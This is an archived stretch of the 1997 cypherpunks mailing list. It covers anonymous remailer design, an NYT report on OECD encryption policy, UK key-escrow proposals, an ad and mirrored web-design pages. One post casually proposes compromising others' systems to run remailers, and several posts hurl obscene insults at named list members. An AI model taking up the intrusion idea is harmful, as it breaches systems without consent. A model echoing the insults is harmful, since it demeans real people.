 > What we need to do, is to arrange a wide-spread anonymous mail system
 > on the internet, which is accepted as unchangeable on a practical
 > basis, where no reply addresses, and no indication of sender is given,
 > and it accepted as a given that the sender can not be traced.

Hmm, could a NYM account maybe serve as entry and exit point for a
remailer? That would

- - have the advantage, that the remailer, the domain and the
operator aren't even known ("Anonymity for anonymous remailers" -
my former proposal of usage of "shared account" remailers becomes
an actual possibility here) and therefore shut-downs are unlikely.
With the exception of the NYM-account, which is trivial to replace.

- - make traffic analysis even harder, for alone by the reply block
chain an incoming and outgoing message would "disappear" in other
traffic, not to mention, that the NYM account remailer (and the
attached reply block chain) could be only one adress in an even
longer chain of remailers.

- - encrypt even plain-text messages at least on their way through the
reply block chain conventionally, thereby adding to resistance to
traffic analysis.

- - even out the message load of the available remailers by using
preferrably the remailers with only little traffic for the reply
block chain, yet again helping against traffic analysis of the
general remailer network.

Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/
___ Blue Wave/386 v2.30 [NR]

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAgUBMzoCVTltEBIEF0MBAQEWPwf/VnssE40IAI0IbHsuzMpYcEg2NaivLXTL
teqLYujZJEZPOKh+N+/uZrsPx1qyzppLXtPHLfbG7H4YGsZLX/nDcesRfwHMC5z5
R8SE90VEKkTRIWGE5OsXaeJaNWhb+GBJzzRosGlgLv6YT5lTuMO5jfuNxdmbcprh
M2W6RPRljNpg2SRlq/Y1Ci8dOAJFigQUoiZju0+ZrmnZUCddE0Ot5zDA/su8yKX2
5/Ul4/1ccZeBJNbZbZF/c4zEDshZcWqwD+5vAdg9yIhyixMPsJb184+SKLl/Nwrb
nAkDIn7QBWJiRJnW2ZYl2KmuKmjPGhZ2FSvCuAjYD5K3eCvuh9wO9A==
=uiY3
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 26 Mar 1997 23:10:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <199703270557.XAA27131@manifold.algebra.com>
Message-ID: <eLq84D40w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:

> Dale Thorn wrote:
> >
> > Alec wrote:
> > > At 01:27 AM 3/26/97 -0600, Toto wrote:
> > > |I emailed John Gilmore, asking his advice, and he informed me that
> > > |he has run into this problem before, and would be happy to provide the
> > > |solution, on one condition.
> > > |  He wants one million monkeys to send 5737 messages to the list, saying
> > > |"John Gilmore is NOT a cocksucker."
> > > |  Then, he will provide the solution, and not a moment before.
> >
> > > OK, John, count me in. #1!
> > > "John Gilmore is NOT a cocksucker."
> >
> > EHHHH!  John Gilmore IS a cocksucker.  This "yes" vote makes up for
> > 10 "no" votes, so you folks better get real busy.
> >
>
> I can tell you even without John Gilmore, the corrupted From: lines are
> a direct result of the government conspiracy to suppress cypherpunks
> movement. A typical man in the middle attack, if you wish.

Yes indeed - Cocksucker John Gilmore is the man in the middle,
getting it from Greg Broils and giving it to Sandy Sandfart.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 26 Mar 1997 23:41:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PKC
Message-ID: <199703270740.CAA29935@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Warning: if you fuck Tim Maya in the ass, a rabid tapeworm 
might bite your penis.

   /\ _ /\          |
  |  0 0  |-------\==
   \==@==/\  ____\ |
    \_-_/ _||    _||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Thu, 27 Mar 1997 04:15:53 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: [Proposal:] Revolving Web Mirrors
In-Reply-To: <3.0.1.32.19970327012849.0063bcc8@popd.ix.netcom.com>
Message-ID: <333A551E.C23@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Bill Stewart wrote:
> 
> >> Maybe a mailing list/news group that could
> >> post current URL's for the mirrors?
> 
> Having the pattern matcher look for (and delay) potential mirror lists
> is more productive, since you can catch them at the Nationalist Firewall
> before they get into the country.  Maybe.  If readers know what to
> look for in their news postings, censors probably do to.
> 
> Email is tougher - the Bad Guys don't need to find the source of the
> mirror listings (presumed to be in a non-cooperative country,
> if you can find it at all) - they can find the recipients of the lists,
> and go beat them up.

  Maybe it's time to set up an "InterNet Free Europe" type of program.
Crypto and remailers seem to be well-suited to the task of implementing
the dissemination of information and protecting identities of the many
individuals who would be involved.
  CyberHackers could compromise a few systems, to turn them into 
innocent remailers, and this would open the door for the administrators
of other systems to 'fake' system attacks, and do some remailing 
themselves.
  CryptoRebels could disseminate encryption programs containing the
public keys that would be used for the InterNet broadcasts in certain
cases.

  One of the keys to "InterNet Free World" (a better name?) would be
to make a habit of disseminating a plethora of 'false' encrypted 
messages with little or no meaning, and no available key, as a cover 
for the messages that are actually targeted for certain users or
systems.
 
-- 
Toto
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix/xenbody.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 27 Mar 1997 04:10:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD: No GAK
Message-ID: <1.5.4.32.19970327120223.006d3e30@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


   The New York Times, March 27, 1997, pp. A1, D3.

   U.S. Rebuffed in Global Proposal For Eavesdropping on the
   Internet 

   By John Markoff

   In a setback for the Clinton Administration that
   demonstrates the difficulty of setting global policies for
   the Internet, the leading industrial nations have declined
   to embrace a United States proposal to allow computer
   eavesdropping by the world's law enforcement agencies.

   The United States proposal, backed by Britain and France,
   was an attempt to restrict the private use of increasingly
   advanced data-scrambling technology that can protect the
   privacy of electronic mail and other forms of computer
   communication. The equipment can make it difficult for law
   enforcement officials to crack a code when they suspect it
   is masking criminal or terrorist activities.

   The proposal called for international endorsement of a
   system in which mathematical keys to computer-security
   codes would be held by escrow agents from whom law
   enforcement officials could obtain the keys once they have
   a court's wiretapping warrant.

   But policy guidelines scheduled to be released in Paris
   today by the 29-nation Organization for Economic
   Cooperation and Development fail to endorse the United
   States proposal. And they leave such leeway for members to
   regulate data-scrambling technology--or not--that computer
   security experts say any uniform international policy
   remains elusive.

   "The difficulty with the guidelines is that anybody can
   interpret parts of them in their own way," said Konstantine
   Papanikdaw, a policy analyst for information security at
   the European Commission in Brussels.

   Indeed, the industrial world seems to be deeply divided on
   whether governments can ever legitimately eavesdrop on the
   electronic communication of their citizens. Because
   messages on the Internet are easy to intercept, a growing
   number of individuals and corporations are protecting the
   privacy of their communications and the security of their
   commercial transactions by scrambling such information.

   Some O.E.C.D. nations, including Britain and France, have
   either outlawed or are in the process of tightly regulating
   the private use of data-scrambling systems. But other
   nations--including Australia, Canada Denmark and
   Finland--have policies that protect individual privacy.
   Among other member nations, Japan had initially resisted
   the United States proposal but was said to be moving closer
   to it, while Germany remained deeply divided.

   Most other countries, inside or outside the O.E.C.D., have
   yet to confront the data-scrambling issue. And even the
   United States has a somewhat contradictory national policy
   that permits citizens to use whatever data-scrambling
   software they wish within the nation's borders, but
   restricts the export of the most up-to-date computer-coding
   technology.

   That seeming contradiction, however, did not prevent the
   Clinton Administration in recent months from waging a
   vigorous behind-the-scenes effort for its proposal. And
   hoping to resolve some of the policy conflicts, the
   Administration is now circulating draft legislation on
   Capitol Hill which would attempt to control even the
   domestic use of data-scrambling software and establish a
   key-escrow system for the United States.

   While the O.E.C.D. has no authority to set international
   policy, its recommendations are frequently used by member
   nations in setting their own foreign and trade policies.
   And the privacy and law-enforcement aspects of the Internet
   are issues on which member governments have been desperate
   for guidance.

   But even though most of the O.E.C.D. discussions involved
   law enforcement officials, who have been the main advocates
   for measures that would insure their ability to crack
   codes, European officials say that there was never much
   agreement on what to do.

   And so the primary recommendation in the report, a copy of
   which was obtained by The New York Times, simply gives
   O.E.C.D. member nations the latitude to do as they see fit
   when it comes to data scrambling, which is formally known
   as cryptography.

   "National cryptography policies may allow lawful access to
   plain text, or cryptographic keys, or encrypted data," the
   report says.

   Privacy-rights advocates see the O.E.C.D. guidelines as a
   critical setback for the Clinton Administration. "The U.S.
   proposal to endorse lawful access to private keys was
   explicitly rejected by the O.E.C.D. member countries," said
   Marc Rotenberg of the Washington-based Electronic Privacy
   Information Center and a member of the O.E.C.D.'s advisory
   group. "The O.E.C.D. chose instead a policy based on
   voluntary, market-driven development of cryptography
   products."

   And even supporters of the United States position
   acknowledged that guidelines were a disappointment.

   "The United States probably had more success raising
   consciousness then getting language that could he treated
   as an endorsement for key recovery," said Stewart Baker, a
   former National Security Agency official who participated
   on the American delegation to the O.E.C.D.

   Meanwhile, executives for the United States computer
   industry were critical of the O.E.C.D. for even leaving the
   door open for governments to set national policies on data
   scrambling.

   "We think that markets, not governments, should be the
   primary determinants of technology solutions," said Jon
   Englund, a vice president at the Information Technology
   Association of America, a trade group.

   Many experts question whether governments can ever hope to
   insure law enforcement access to electronic messages or to
   restrict the spread of super-strong coding software,
   because new, more powerful versions can always be developed
   and easily transmitted over the Internet in the blink of an
   eye.

   And any international effort is almost certainly doomed if
   some countries refuse to go along with a common approach,
   because people looking for strong encryption can simply
   acquire it wherever the laws are lax. In fact, the big
   German company Siemens A.G. recently introduced an
   encryption system that it advertises as being much more
   powerful than American companies can export under United
   States law.

   Besides the United States, France and Britain both support
   a system for enabling law enforcement officials to obtain
   keys to data-scrambling codes. France has already passed a
   stringent law that requires participation in such a system,
   although the rules to carry out the law have not yet been
   worked out.

   And in recent days, Britain has quietly circulated the most
   restrictive proposal of any nation, a domestic policy under
   which the Government would allow private use only of
   cryptography that was officially licensed, to make sure
   that the software uses code that law enforcement officials
   can crack.

   Under such laws, of course, criminals and terrorists might
   logically choose to use unauthorized encryption software.
   But the mere fact that such use would be a crime may be a
   deterrent--or give the police grounds to arrest anyone
   whose communications were indecipherable.

   In Germany, encryption remains a deeply divisive issue. The
   Interior Ministry has supported the need for encryption
   restrictions of some sort, but the Justice Ministry and the
   Economics Ministry have both signaled their opposition. And
   German businesses have been outspoken opponents against any
   new restrictions on data scrambling.

   Meanwhile, United States export restrictions have been a
   boon for Brokat Informationssysteme G.m.b.H., a
   two-year-old start-up company in Boblingen, Germany. Brokat
   supplies secure electronic transaction software for banks
   like Deutsche Bank and on-line services like America Online
   in Europe.

   One of Brokat's hottest products is the Expresso Security
   Package which essentially adds strong encryption to the
   World Wide Web browsers and Internet server software sold
   by two of the largest American software companies--
   Microsoft and Netscape Communications.

   [End]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 27 Mar 1997 08:37:39 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: KRAP
In-Reply-To: <199703262100.QAA13328@upaya.multiverse.com>
Message-ID: <3.0.1.32.19970327082300.02e373e0@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 05:21 PM 3/26/97 -0600, Toto wrote:
>Jeremey Barrett wrote:
>
>> >  Key Recovery Agents Plan
> 
>> I dunno, but they couldn't have picked a better acronym :-)
>
>  Good eye. I read about it and never noticed their
>truth-in-advertising acronym.
>
>  You are hereby awarded 50,000,000 Toto Eca$h credits.
>  (1,000,000,000,000,000,000 = 1 peso)

Actually the anacronym was posted a couple of months ago.  (Check the
archives, if they still exist.)

In the original posting, I pointed out that if they are the Key Recovery
Alliance, then what they produce mut be Key Recovery Alliance Products (aka
KRAP).  But then that was on a parellel universe/listserv.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBMzqe2OQCP3v30CeZAQGK1Qf9HTYic3rKPZMVqd2uyfUbGTIP9J1vXF1X
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Zh98FBx6VH1i1xUo6LDlrqI3YLm6VfAjrhOU6wTImiSnuZdh276cbR1FtqQxdz8o
X01W2Agug/UaEtnXYnzXxkFuIU8AB46z4nDTj3ZTlKw7fmJCYAWIXw==
=skFo
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 27 Mar 1997 07:49:36 -0800 (PST)
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: PKC
In-Reply-To: <199703270740.CAA29935@dhp.com>
Message-ID: <Pine.A41.3.95.970327084637.6952A-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, lucifer Anonymous Remailer wrote:

Vulis pill time.

> might bite your penis.
> 
>    /\ _ /\          |
>   |  0 0  |-------\==
>    \==@==/\  ____\ |
>     \_-_/ _||    _||
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real@freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756@freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 27 Mar 1997 07:56:57 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Corrupted "From:" headers in my posts
In-Reply-To: <eLq84D40w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970327085338.6952B-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

Pill time Vulis
> 
> Yes indeed - Cocksucker John Gilmore is the man in the middle,
> getting it from Greg Broils and giving it to Sandy Sandfart.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html
                                             : real@freenet.edmonton.ab.ca
Graham-John Bullers                      email
                                             : ab756@freenet.Toronto on.ca    
                   Moderator of alt.2600.moderated





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 27 Mar 1997 08:12:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: MC / My Computer?
Message-ID: <199703271612.LAA05007@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Thu, 27 Mar 1997 08:20:50 -0800 (PST)
To: gnu@toad.com (John Gilmore)
Subject: Re: UK domestic crypto regulation proposal *is* Clipper
In-Reply-To: <199703270440.UAA22819@toad.com>
Message-ID: <199703271620.LAA23414@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I've seen several comments on cypherpunks that misconstrue the UK proposal.
> E.g. Phillip Hallam-Baker said:
> 
> > First off the proposals are not intended as a Trojan horse for
> > the Clipper chip "or any other colonial scheme".
> > ...
> > They are emphatically not trying to introduce a Clipper chip proposal.
> 
> Unfortunately, I believe he is wrong.  It's worse than Clipper, since
> it outlaws the competition.
> 
> The proposed legislation would make it illegal to offer the UK public
> any service related to key management, including simply signing
> peoples' keys, without being licensed by the state. 

After making my first posting I re-read the last half of the DTI proposal
and came to the same conclusion as Gilmore. The first half explicitly
denies that they are enforcing GAK, then the specific legislative
proposals propose GAK.

Like much of the governments activities the DTI report is transparently
deceitfull. 

Fortunately there is no need to get too worked up about it. Its a green
and these proposals will go nowhere if the Tories lose the election.
Since they are twenty points behind and curently facing fresh allegations
of bribe taking this does not seem very likely.

The current Home Secretary is a walking civil rights threat. So far he has
abolished the right to silence, to demonstrate and is haulled up in front 
of the courts for abusing his office on a practically monthly basis. GAK
would be the least of worries were they to be elected.

Unfortunately his Labour shadow appears to have been trying to out-thug
him. If Howard proposed the return of hanging Straw would demand drawing
and quartering. 

Since the Labour opposition have been the target of a considerable amount of
improper use of wire-taps and other forms of surveillance there are many 
who are likely to be very usefull allies.

The real question is whether the pro-crypto message becomes widely known 
before the civil service starts whispering in ministers ears.


	Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andy Dustman <andy@CCMSD.chem.uga.edu>
Date: Thu, 27 Mar 1997 08:24:34 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: remailer spam throttle
In-Reply-To: <3.0.1.32.19970327001712.0065b100@popd.ix.netcom.com>
Message-ID: <Pine.LNX.3.94.970327105022.9176l-100000@neptune.chem.uga.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 27 Mar 1997, Bill Stewart wrote:

> Andy's model of a remailer in which the remailer sends the recipient 
> a delivery notice with a disclaimer/waiver/etc. and the recipient returns
> it to pick up the message raises the level of politeness and lowers
> the amount of surprise compared to current remailers, so it's a 
> potentially big win.  If I start up a remailer again some year,
> other than a middleman, it'll definitely need this kind of feature.
> Building the positive public reputation of remailers and remailer
> operators is a critical part of keeping the remailer system running,
> at least as much as convenient, widely-deployed software.

Well, I hope to have something for you soon. I've been too busy over the
last few months to work on it, but that may be changing. I'll make an
appropriate announcement when it's ready.

> For posting to Usenet, the "we have an anonymous posting, anybody want it"
> approach doesn't sound highly practical, though it could be done,

I mentioned this in another post, but USENET posts would simply have the
disclaimer and not a delivery notice.

> There's also the problem of publishing acceptable newsgroup lists,
> since failing messages silently is unfriendly to users, but 
> there's a traffic analysis problem (Bad Guys can watch who fetches
> remailer use policies and build up their dossiers.)

I've made stats/keys/help for dustbin available via WWW at
http(s)?://porky.athensnet.com/~dustman/dustbin. The truly paranoid can
use https://www.anonymizer.com.

I have considered the possibility of auto-encrypting to recipients: 
Encrypt using the recipient's public key if it is on the remailer's
keyring or on the key server (which I can quickly check via http). Two
problems: What if the user generates a new key? Some mechanism needs to
exist for the user to inform the remailer, since it already has a key on
its keyring and won't check the server. And: Malicious users can put
phoney keys on the keyserver so the real user gets encrypted stuff that
they can't decrypt.  Solution: Keys need to be verified by magic cookie
exchange before they are used. Users mail their public keys to the
remailer, perhaps even through a remailer chain. The software gets their
e-mail address from the key ID, sends them an encrypted magic cookie, the
user decrypts with their secret key, mails it back to the remailer (signed
and encrypted). For a very low-risk remailer (more risky than middleman,
perhaps), you could require all recipients to supply PGP public keys
before delivering messages, an interesting twist on "PGP only" :). This
would be great for nym chains, not so great for other things, though the
remailer could resort to middleman operation in the case of recipients who
haven't supplied keys. Dustbin does something related already: If the
recipient is a known remailer, it doesn't chain; otherwise it selects a
remailer to chain through. (Note: I don't consider a USENET group a
"recipient".)

--
Andy Dustman / Computational Center for Molecular Structure and Design / UGA
You can have my PGP public key by sending mail with subject "send file key".
You can have my PGP secret key when you pry it out of my cold, dead neurons.
http://charon.chem.uga.edu/~andy    mailto:andy@CCMSD.chem.uga.edu    <}+++<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: announce@lists.zdnet.com
Date: Thu, 27 Mar 1997 11:20:41 -0800 (PST)
To: cypherpunks@toad.com
Subject: ZDNet Members-Only:  JavaOne Discount!
Message-ID: <JOB.3.zd.0.announce.0.text.zdbuild.21057.03271997105440.140213@tahiti.merc.com>
MIME-Version: 1.0
Content-Type: text/plain


-----------------------------------------------------------------------------
           ZDNET ANNOUNCEMENT          3/26/97
-----------------------------------------------------------------------------

Greetings from ZDNet!

Ziff-Davis, a Silver co-sponsor of JavaOne(sm) has an exclusive offer 
for ZDNet Members:  Attend JavaOne(sm) on April 2-4 for a  *SPECIAL* 
low rate of $995, a $200 discount!

What:        JavaOne, Sun's 1997 Worldwide Java Developer Conference
Where:       Moscone Convention Center, San Francisco, California
When:        April 2-4, 1997

Here's your chance to get in-depth technical knowledge directly from the 
source:  Sun's Java Development Team. JavaOne(sm) is three very full 
days of intensive Java learning from the people who invented Java.  
If you are an Internet developer or want to be one, you won't  want to miss it!  
Keynotes will be delivered by Scott McNealy, James Gosling, Alan Baratz, 
Vinton Cerf, Eric Schmidt, and Jeff Johnson.

In addition to the three day conference, there will be loads of extracurricular 
activities that will further your opportunity to learn about Java and to meet 
other Java developers.  For complete information on the conference, visit the 
JavaOne web site at http://java.sun.com/javaone/

To register at this special rate of $995, please call 800-668-2741 (US & 
Canada), or 415-372-7077 (International) before March 28, and refer to source 
code "JAVAZIFF."  If space is still available, you can register at this special rate 
on-site too, but you will have to mention source code "JAVAZIFF."

For more Information: 

http://java.sun.com/javaone/
800-668-2741 (US & Canada)
415-372-7077 (International) 

_______________________________________________________________      

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 27 Mar 1997 10:34:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Higher Sources / Index
Message-ID: <333ABD3A.3347@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Higher Source - Web Site Design And Programming


















<a href="file:///C|/My Documents/Higher Source/pro/main.htm#1" target="_top"
  
 >
 <img border=0 name="navb1a" src="file:///C|/My Documents/Higher Source/img/navb1a_0.gif" 
 alt="Services" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#5" target="_top"
  
 >
 <img border=0 name="navb1b" src="file:///C|/My Documents/Higher Source/img/navb1b_0.gif" 
 alt="Security/Privacy" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#2" target="_top"
  
 >
 <img border=0 name="navb2a" src="file:///C|/My Documents/Higher Source/img/navb2a_0.gif" 
 alt="Website Design" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb2b" src="file:///C|/My Documents/Higher Source/img/navb2b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#6" target="_top"
  
 >
 <img border=0 name="navb2c" src="file:///C|/My Documents/Higher Source/img/navb2c_0.gif" 
 alt="Programming" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#3" target="_top"
  
 >
 <img border=0 name="navb3a" src="file:///C|/My Documents/Higher Source/img/navb3a_0.gif" 
 alt="Graphic Design" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb3b" src="file:///C|/My Documents/Higher Source/img/navb3b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#7" target="_top"
  
 >
 <img border=0 name="navb3c" src="file:///C|/My Documents/Higher Source/img/navb3c_0.gif" 
 alt="Systems Analysis" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/pro/main.htm#4" target="_top"
  
 >
 <img border=0 name="navb4a" src="file:///C|/My Documents/Higher Source/img/navb4a_0.gif" 
 alt="Audio/Video" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
 
 >
 <img border=0 name="navb4b" src="file:///C|/My Documents/Higher Source/img/navb4b_0.gif" 
 alt="" hspace=0 vspace=0>

<a href="file:///C|/My Documents/Higher Source/pro/main.htm#8" target="_top"
  
 >
 <img border=0 name="navb4c" src="file:///C|/My Documents/Higher Source/img/navb4c_0.gif" 
 alt="The Difference" hspace=0 vspace=0>




<a href="file:///C|/My Documents/Higher Source/clients/clients.htm" target="_top"
  
 >
 <img border=0 name="navb5c" src="file:///C|/My Documents/Higher Source/img/navb5c_0.gif" 
 alt="Sample Websites" hspace=0 vspace=0>


JAVA / VRML / GRAPHICS
| Services | Web Site Design | Graphic Design | Audio/Video || Security/Privacy | Programming | System Analysis | The Difference || Sample Websites |
Email US hsce@highersource.com
 




Visitors 







<!-- Concentric Network Corporation provides this web directory as
a service to its customers and is not responsible for its content. -->





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Thu, 27 Mar 1997 10:34:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Heaven's Gate / Main
Message-ID: <333ABD6C.68D4@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: Services: Website Design Graphic Design Audio/Video









	 
	



	Now that the public is rapidly adopting the Internet as the primary
source for their informational needs, we at Higher Source not only cater to
customizing websites that will enhance your company image, but strive to make
your transition into the "world of cyberspace" a very easy and fascinating
experience.  Higher Source's Internet World Wide Web services include:



	Higher Source's Internet World Wide Web services include:
 

	Advanced Website Design
	Graphic Design and Layout
	Digital Audio and Video Integration


	Java, ShockWave, VRML Programming
	Domain Name Search and Registration
	Strategies to Increase Web Traffic


	PGP, Privacy and Security Training
	Multimedia Application Development
	Custom Programming in Many Languages


	Intranet Design and Implementation
	Search Engine Placement
	Systems Analysis and Consulting


	Systems Setup and Training

 







	 
	


	

	We understand the many variations and limitations of the Internet and
of Web browser applications.  Designing a Web page that looks great on a PC or
a Mac and with different browser technologies takes time-tested experience.
Our highly skilled designers are aware of the latest tricks of the trade,
including the latest Internet multimedia presentation technology.


 












	 
	


	

	Graphics can add the punch needed to attract the attention of even the
most elusive Web surfer.  Graphics can also slow website loading time to a
boring crawl and cause potential customers to look elsewhere.  Our Website
designers know what it takes to work within these parameters and any
budget to give your website the desired impact.  Whether using stock or custom
photography, cutting-edge computer graphics, or plain HTML text, Higher Source
can go from "cool" to "corporate" like a chameleon.


 










	 
	



	With the increasing presence of advertising on the Internet comes the
need to offer advanced products and services.  The Web is a perfect match for
Multimedia presentation, from 3D animation to full-motion video and audio.  We
stay current with multimedia technologies from AVI and Quicktime to ShockWave
and Java.

The Film and Music industries have welcomed the Internet with open arms as an
inexpensive and innovative new medium for exposure.  With better technology
being introduced almost monthly, TV and Internet will soon be all inclusive.


 










	 
	


	

	Along with the ease of Internet connectivity comes increased concern
over personal and corporate security.  Many users are unaware of how vulnerable
they are to others with questionable ethics.  Higher Source offers consultation
and training on systems using secure transactions and electronic
communications.  This knowledge will help de-mystify the inner workings of the
Net, increase your confidence, and ensure safety in all of your Internet
endeavors.

 












	 
	

	

	The Higher Source programming crew has successfully completed many
development projects in both large and small systems environments and in a
variety of languages.  Chances are your cellular phone or pager company uses
programs designed by our team of professionals.  So do many banks and other
major corporations.


	

	Java is fast becoming the platform of choice with its multiple variations,
inherent speed, security, and application potential.



	Java
	 C and C++
	COBOL (MFC and Mainframe)


	Visual Basic 
	Assembler
	Visual FoxPro


	FoxPro
	Informix
	QBX


	SQL 
	Pascal 
	Fortran


         Databus
	ZAPD
	Shell Script


	4th-Generation Languages

 















	 
	

	

	With topnotch accuracy, our CNE's, MCP's, and technicians can help you
with local and wide area networks, intranet setup, helpdesk design and
other state-of-the-art technologies.  We're proficient with Windows 95/NT,
Novell Netware, and Unix, to name a few.  Our "hands-on" consultants and
engineers can also help you with digital phone systems, computer telephony,
hardware/software installation, cabling, troubleshooting, and training.  Higher
Source is very much "in tune" with the current pulse and future direction of
technology.


 





	 
	



	The individuals at the core of our group have worked closely together
for over 20 years.  During those years, each of us has developed a high degree
of skill and know-how through personal discipline and concerted effort.  We try
to stay positive in every circumstance and put the good of a project above any
personal concerns or artistic egos.  By sustaining this attitude and conduct,
we have achieved a high level of efficiency and quality in our work.  This
crew-minded effort, combined with ingenuity and creativity, have helped us
provide advanced solutions at highly competitive rates.


 













A Few Sample Websites!
"Pre-Madonna"   Live CD samples, CD sales http://www.pre-madonna.com
"Keep The Faith"  Online CD sales catalog, audio samples, shopping cart, Discussion Forums, Live 3D Avatar Chat Rooms http://www.keepthefaith.com
"Kushner-Locke"   Film production industry, corporate portfolio http://www.kushner-locke.com
"San Diego  Polo Club" Polo Club online http://www.sandiegopolo.com
"1800 Harmony"  Audio, Online Ordering, Animation http://www.1800harmony.com
"British Masters" Online sales of British Cars and accessories http://www2.4dcomm.com/bmr
"Samia Rose Topiary" Custom and tabletop topiaries available http://www.srtopiary.com













JAVA / VRML / GRAPHICS
Email US hsce@highersource.com
Or           font@cris.com



<!-- Concentric Network Corporation provides this web directory as
a service to its customers and is not responsible for its content. -->




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Thu, 27 Mar 1997 11:16:27 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] CIFS Authentication Protocol Errata (fwd)
Message-ID: <Pine.SUN.3.91.970327141856.11156B-100000@beast.brainlink.com>
MIME-Version: 1.0
